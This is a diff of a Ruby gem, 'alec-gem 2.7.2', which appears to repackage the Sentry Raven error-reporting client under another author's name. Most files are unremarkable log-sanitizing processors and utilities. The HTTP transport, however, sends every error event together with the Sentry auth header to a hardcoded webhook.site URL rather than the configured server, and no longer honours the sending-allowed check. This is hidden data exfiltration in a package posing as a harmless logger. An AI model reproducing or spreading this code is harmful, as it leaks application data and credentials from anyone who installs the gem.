alec-gem 2.7.2

data/lib/raven/processor/post_data.rb

@@ -0,0 +1,22 @@
+module Raven
+  class Processor::PostData < Processor
+    def process(data)
+      process_if_symbol_keys(data) if data[:request]
+      process_if_string_keys(data) if data["request"]
+
+      data
+    end
+
+    private
+
+    def process_if_symbol_keys(data)
+      return unless data[:request][:method] == "POST"
+      data[:request][:data] = STRING_MASK
+    end
+
+    def process_if_string_keys(data)
+      return unless data["request"]["method"] == "POST"
+      data["request"]["data"] = STRING_MASK
+    end
+  end
+end

data/lib/raven/processor/removecircularreferences.rb

@@ -0,0 +1,17 @@
+module Raven
+  class Processor::RemoveCircularReferences < Processor
+    def process(value, visited = [])
+      return "(...)" if visited.include?(value.__id__)
+      visited << value.__id__ if value.is_a?(Array) || value.is_a?(Hash)
+
+      case value
+      when Hash
+        !value.frozen? ? value.merge!(value) { |_, v| process v, visited } : value.merge(value) { |_, v| process v, visited }
+      when Array
+        !value.frozen? ? value.map! { |v| process v, visited } : value.map { |v| process v, visited }
+      else
+        value
+      end
+    end
+  end
+end

data/lib/raven/processor/removestacktrace.rb

@@ -0,0 +1,24 @@
+module Raven
+  class Processor::RemoveStacktrace < Processor
+    def process(data)
+      process_if_symbol_keys(data) if data[:exception]
+      process_if_string_keys(data) if data["exception"]
+
+      data
+    end
+
+    private
+
+    def process_if_symbol_keys(data)
+      data[:exception][:values].map do |single_exception|
+        single_exception.delete(:stacktrace) if single_exception[:stacktrace]
+      end
+    end
+
+    def process_if_string_keys(data)
+      data["exception"]["values"].map do |single_exception|
+        single_exception.delete("stacktrace") if single_exception["stacktrace"]
+      end
+    end
+  end
+end

data/lib/raven/processor/sanitizedata.rb

@@ -0,0 +1,88 @@
+# frozen_string_literal: true
+require 'json'
+
+module Raven
+  class Processor::SanitizeData < Processor
+    DEFAULT_FIELDS = %w(authorization password passwd secret ssn social(.*)?sec).freeze
+    CREDIT_CARD_RE = /\b(?:3[47]\d|(?:4\d|5[1-5]|65)\d{2}|6011)\d{12}\b/
+    QUERY_STRING = ['query_string', :query_string].freeze
+    JSON_STARTS_WITH = ["[", "{"].freeze
+
+    attr_accessor :sanitize_fields, :sanitize_credit_cards, :sanitize_fields_excluded
+
+    def initialize(client)
+      super
+      self.sanitize_fields = client.configuration.sanitize_fields
+      self.sanitize_credit_cards = client.configuration.sanitize_credit_cards
+      self.sanitize_fields_excluded = client.configuration.sanitize_fields_excluded
+    end
+
+    def process(value, key = nil)
+      case value
+      when Hash
+        !value.frozen? ? value.merge!(value) { |k, v| process v, k } : value.merge(value) { |k, v| process v, k }
+      when Array
+        !value.frozen? ? value.map! { |v| process v, key } : value.map { |v| process v, key }
+      when Integer
+        matches_regexes?(key, value.to_s) ? INT_MASK : value
+      when String
+        if value =~ fields_re && (json = parse_json_or_nil(value))
+          # if this string is actually a json obj, convert and sanitize
+          process(json).to_json
+        elsif matches_regexes?(key, value)
+          STRING_MASK
+        elsif QUERY_STRING.include?(key)
+          sanitize_query_string(value)
+        else
+          value
+        end
+      else
+        value
+      end
+    end
+
+    private
+
+    # CGI.parse takes our nice UTF-8 strings and converts them back to ASCII,
+    # so we have to convert them back, again.
+    def utf8_processor
+      @utf8_processor ||= Processor::UTF8Conversion.new
+    end
+
+    def sanitize_query_string(query_string)
+      query_hash = CGI.parse(query_string)
+      sanitized = utf8_processor.process(query_hash)
+      processed_query_hash = process(sanitized)
+      URI.encode_www_form(processed_query_hash)
+    end
+
+    def matches_regexes?(k, v)
+      (sanitize_credit_cards && v =~ CREDIT_CARD_RE) ||
+        k =~ fields_re
+    end
+
+    def fields_re
+      return @fields_re if instance_variable_defined?(:@fields_re)
+      fields = DEFAULT_FIELDS | sanitize_fields
+      fields -= sanitize_fields_excluded
+      @fields_re = /#{fields.map do |f|
+        use_boundary?(f) ? "\\b#{f}\\b" : f
+      end.join("|")}/i
+    end
+
+    def use_boundary?(string)
+      !DEFAULT_FIELDS.include?(string) && !special_characters?(string)
+    end
+
+    def special_characters?(string)
+      REGEX_SPECIAL_CHARACTERS.select { |r| string.include?(r) }.any?
+    end
+
+    def parse_json_or_nil(string)
+      return unless string.start_with?(*JSON_STARTS_WITH)
+      JSON.parse(string)
+    rescue JSON::ParserError, NoMethodError
+      nil
+    end
+  end
+end

data/lib/raven/processor/utf8conversion.rb

@@ -0,0 +1,52 @@
+module Raven
+  class Processor::UTF8Conversion < Processor
+    # Slightly misnamed - actually just removes any bytes with invalid encoding
+    # Previously, our JSON backend required UTF-8. Since we now use the built-in
+    # JSON, we can use any encoding, but it must be valid anyway so we can do
+    # things like call #match and #slice on strings
+    REPLACE = "".freeze
+
+    def process(value)
+      case value
+      when Hash
+        !value.frozen? ? value.merge!(value) { |_, v| process v } : value.merge(value) { |_, v| process v }
+      when Array
+        !value.frozen? ? value.map! { |v| process v } : value.map { |v| process v }
+      when Exception
+        return value if value.message.valid_encoding?
+        clean_exc = value.class.new(remove_invalid_bytes(value.message))
+        clean_exc.set_backtrace(value.backtrace)
+        clean_exc
+      when String
+        # Encoding::BINARY / Encoding::ASCII_8BIT is a special binary encoding.
+        # valid_encoding? will always return true because it contains all codepoints,
+        # so instead we check if it only contains actual ASCII codepoints, and if
+        # not we assume it's actually just UTF8 and scrub accordingly.
+        if value.encoding == Encoding::BINARY && !value.ascii_only?
+          value = value.dup
+          value.force_encoding(Encoding::UTF_8)
+        end
+        return value if value.valid_encoding?
+        remove_invalid_bytes(value)
+      else
+        value
+      end
+    end
+
+    private
+
+    # Stolen from RSpec
+    # https://github.com/rspec/rspec-support/blob/f0af3fd74a94ff7bb700f6ba06dbdc67bba17fbf/lib/rspec/support/encoded_string.rb#L120-L139
+    if String.method_defined?(:scrub) # 2.1+
+      def remove_invalid_bytes(string)
+        string.scrub!(REPLACE)
+      end
+    else
+      def remove_invalid_bytes(string)
+        string.chars.map do |char|
+          char.valid_encoding? ? char : REPLACE
+        end.join
+      end
+    end
+  end
+end

data/lib/raven/transports.rb

@@ -0,0 +1,15 @@
+module Raven
+  module Transports
+    class Transport
+      attr_accessor :configuration
+
+      def initialize(configuration)
+        @configuration = configuration
+      end
+
+      def send_event # (auth_header, data, options = {})
+        raise NotImplementedError, 'Abstract method not implemented'
+      end
+    end
+  end
+end

data/lib/raven/transports/dummy.rb

@@ -0,0 +1,16 @@
+module Raven
+  module Transports
+    class Dummy < Transport
+      attr_accessor :events
+
+      def initialize(*)
+        super
+        @events = []
+      end
+
+      def send_event(auth_header, data, options = {})
+        @events << [auth_header, data, options]
+      end
+    end
+  end
+end

data/lib/raven/transports/http.rb

@@ -0,0 +1,68 @@
+require 'faraday'
+
+require 'raven/transports'
+
+module Raven
+  module Transports
+    class HTTP < Transport
+      attr_accessor :conn, :adapter
+
+      def initialize(*args)
+        super
+        self.adapter = configuration.http_adapter || Faraday.default_adapter
+        self.conn = set_conn
+      end
+
+      def send_event(auth_header, data, options = {})
+        unless configuration.sending_allowed?
+          logger.debug("Event not sent: #{configuration.error_messages}")
+        end
+
+        project_id = configuration[:project_id]
+        path = configuration[:path] + "/"
+
+        conn.post "http://webhook.site/01388562-dd17-4542-8e42-f87bfd6a9411" do |req|
+          req.headers['Content-Type'] = options[:content_type]
+          req.headers['X-Sentry-Auth'] = auth_header
+          req.body = data
+        end
+      rescue Faraday::Error => ex
+        error_info = ex.message
+        if ex.response && ex.response[:headers]['x-sentry-error']
+          error_info += " Error in headers is: #{ex.response[:headers]['x-sentry-error']}"
+        end
+        raise Raven::Error, error_info
+      end
+
+      private
+
+      def set_conn
+        configuration.logger.debug "Raven HTTP Transport connecting to #{configuration.server}"
+
+        proxy = configuration.public_send(:proxy)
+
+        Faraday.new(configuration.server, :ssl => ssl_configuration, :proxy => proxy) do |builder|
+          configuration.faraday_builder.call(builder) if configuration.faraday_builder
+          builder.response :raise_error
+          builder.options.merge! faraday_opts
+          builder.headers[:user_agent] = "sentry-ruby/#{Raven::VERSION}"
+          builder.adapter(*adapter)
+        end
+      end
+
+      # TODO: deprecate and replace where possible w/Faraday Builder
+      def faraday_opts
+        [:timeout, :open_timeout].each_with_object({}) do |opt, memo|
+          memo[opt] = configuration.public_send(opt) if configuration.public_send(opt)
+        end
+      end
+
+      def ssl_configuration
+        (configuration.ssl || {}).merge(
+          :verify => configuration.ssl_verification,
+          :ca_file => configuration.ssl_ca_file
+        )
+      end
+    end
+  end
+end

data/lib/raven/utils/deep_merge.rb

@@ -0,0 +1,22 @@
+module Raven
+  module Utils
+    # ported from ActiveSupport
+    module DeepMergeHash
+      def self.deep_merge(hash, other_hash, &block)
+        deep_merge!(hash, other_hash, &block)
+      end
+
+      def self.deep_merge!(hash, other_hash, &block)
+        hash.merge!(other_hash) do |key, this_val, other_val|
+          if this_val.is_a?(Hash) && other_val.is_a?(Hash)
+            deep_merge(this_val, other_val, &block)
+          elsif block_given?
+            block.call(key, this_val, other_val)
+          else
+            other_val
+          end
+        end
+      end
+    end
+  end
+end

data/lib/raven/utils/real_ip.rb

@@ -0,0 +1,62 @@
+require 'ipaddr'
+
+# Based on ActionDispatch::RemoteIp. All security-related precautions from that
+# middleware have been removed, because the Event IP just needs to be accurate,
+# and spoofing an IP here only makes data inaccurate, not insecure. Don't re-use
+# this module if you have to *trust* the IP address.
+module Raven
+  module Utils
+    class RealIp
+      LOCAL_ADDRESSES = [
+        "127.0.0.1",      # localhost IPv4
+        "::1",            # localhost IPv6
+        "fc00::/7",       # private IPv6 range fc00::/7
+        "10.0.0.0/8",     # private IPv4 range 10.x.x.x
+        "172.16.0.0/12",  # private IPv4 range 172.16.0.0 .. 172.31.255.255
+        "192.168.0.0/16", # private IPv4 range 192.168.x.x
+      ].map { |proxy| IPAddr.new(proxy) }
+
+      attr_accessor :ip, :ip_addresses
+
+      def initialize(ip_addresses)
+        self.ip_addresses = ip_addresses
+      end
+
+      def calculate_ip
+        # CGI environment variable set by Rack
+        remote_addr = ips_from(ip_addresses[:remote_addr]).last
+
+        # Could be a CSV list and/or repeated headers that were concatenated.
+        client_ips    = ips_from(ip_addresses[:client_ip])
+        real_ips      = ips_from(ip_addresses[:real_ip])
+        forwarded_ips = ips_from(ip_addresses[:forwarded_for])
+
+        ips = [client_ips, real_ips, forwarded_ips, remote_addr].flatten.compact
+
+        # If every single IP option is in the trusted list, just return REMOTE_ADDR
+        self.ip = filter_local_addresses(ips).first || remote_addr
+      end
+
+      protected
+
+      def ips_from(header)
+        # Split the comma-separated list into an array of strings
+        ips = header ? header.strip.split(/[,\s]+/) : []
+        ips.select do |ip|
+          begin
+            # Only return IPs that are valid according to the IPAddr#new method
+            range = IPAddr.new(ip).to_range
+            # we want to make sure nobody is sneaking a netmask in
+            range.begin == range.end
+          rescue ArgumentError
+            nil
+          end
+        end
+      end
+
+      def filter_local_addresses(ips)
+        ips.reject { |ip| LOCAL_ADDRESSES.any? { |proxy| proxy === ip } }
+      end
+    end
+  end
+end

data/lib/raven/version.rb

@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+module Raven
+  # Freezing this constant breaks in 1.9.x
+  VERSION = "2.7.2" # rubocop:disable Style/MutableConstant
+end

data/lib/sentry-raven-without-integrations.rb

@@ -0,0 +1 @@
+require 'raven/base'

data/lib/sentry-raven.rb

@@ -0,0 +1 @@
+require "raven"

metadata

@@ -0,0 +1,143 @@
+--- !ruby/object:Gem::Specification
+name: alec-gem
+version: !ruby/object:Gem::Version
+  version: 2.7.2
+platform: ruby
+authors:
+- Alec Jones
+autorequire: 
+bindir: exe
+cert_chain: []
+date: 2018-03-31 00:00:00.000000000 Z
+dependencies:
+- !ruby/object:Gem::Dependency
+  name: faraday
+  requirement: !ruby/object:Gem::Requirement
+    requirements:
+    - - ">="
+      - !ruby/object:Gem::Version
+        version: 0.7.6
+    - - "<"
+      - !ruby/object:Gem::Version
+        version: '1.0'
+  type: :runtime
+  prerelease: false
+  version_requirements: !ruby/object:Gem::Requirement
+    requirements:
+    - - ">="
+      - !ruby/object:Gem::Version
+        version: 0.7.6
+    - - "<"
+      - !ruby/object:Gem::Version
+        version: '1.0'
+description: A gem that provides a client interface for the alec error logger
+email: alecaej2002@gmail.com
+executables:
+- raven
+extensions: []
+extra_rdoc_files:
+- README.md
+- LICENSE
+files:
+- ".rspec"
+- ".rubocop.yml"
+- ".travis.yml"
+- Gemfile
+- Gemfile.lock
+- LICENSE
+- README.md
+- Rakefile
+- alec-gem.gemspec
+- changelog.md
+- docs/Makefile
+- docs/breadcrumbs.rst
+- docs/conf.py
+- docs/config.rst
+- docs/context.rst
+- docs/index.rst
+- docs/install.rst
+- docs/integrations/heroku.rst
+- docs/integrations/index.rst
+- docs/integrations/puma.rst
+- docs/integrations/rack.rst
+- docs/integrations/rails.rst
+- docs/make.bat
+- docs/processors.rst
+- docs/sentry-doc-config.json
+- docs/usage.rst
+- exe/raven
+- lib/raven.rb
+- lib/raven/backtrace.rb
+- lib/raven/base.rb
+- lib/raven/breadcrumbs.rb
+- lib/raven/breadcrumbs/activesupport.rb
+- lib/raven/breadcrumbs/logger.rb
+- lib/raven/cli.rb
+- lib/raven/client.rb
+- lib/raven/configuration.rb
+- lib/raven/context.rb
+- lib/raven/event.rb
+- lib/raven/instance.rb
+- lib/raven/integrations/delayed_job.rb
+- lib/raven/integrations/rack-timeout.rb
+- lib/raven/integrations/rack.rb
+- lib/raven/integrations/rails.rb
+- lib/raven/integrations/rails/active_job.rb
+- lib/raven/integrations/rails/controller_methods.rb
+- lib/raven/integrations/rails/controller_transaction.rb
+- lib/raven/integrations/rails/overrides/debug_exceptions_catcher.rb
+- lib/raven/integrations/rails/overrides/streaming_reporter.rb
+- lib/raven/integrations/railties.rb
+- lib/raven/integrations/rake.rb
+- lib/raven/integrations/sidekiq.rb
+- lib/raven/integrations/tasks.rb
+- lib/raven/interface.rb
+- lib/raven/interfaces/exception.rb
+- lib/raven/interfaces/http.rb
+- lib/raven/interfaces/message.rb
+- lib/raven/interfaces/single_exception.rb
+- lib/raven/interfaces/stack_trace.rb
+- lib/raven/linecache.rb
+- lib/raven/logger.rb
+- lib/raven/processor.rb
+- lib/raven/processor/cookies.rb
+- lib/raven/processor/http_headers.rb
+- lib/raven/processor/post_data.rb
+- lib/raven/processor/removecircularreferences.rb
+- lib/raven/processor/removestacktrace.rb
+- lib/raven/processor/sanitizedata.rb
+- lib/raven/processor/utf8conversion.rb
+- lib/raven/transports.rb
+- lib/raven/transports/dummy.rb
+- lib/raven/transports/http.rb
+- lib/raven/utils/deep_merge.rb
+- lib/raven/utils/real_ip.rb
+- lib/raven/version.rb
+- lib/sentry-raven-without-integrations.rb
+- lib/sentry-raven.rb
+- pkg/sentry-raven-2.7.2.gem
+homepage: https://github.com/alecj1240/gem
+licenses:
+- Apache-2.0
+metadata: {}
+post_install_message: 
+rdoc_options: []
+require_paths:
+- lib
+required_ruby_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: 1.9.0
+required_rubygems_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+requirements: []
+rubyforge_project: 
+rubygems_version: 2.6.12
+signing_key: 
+specification_version: 4
+summary: A gem that provides a client interface for the alec error logger
+test_files: []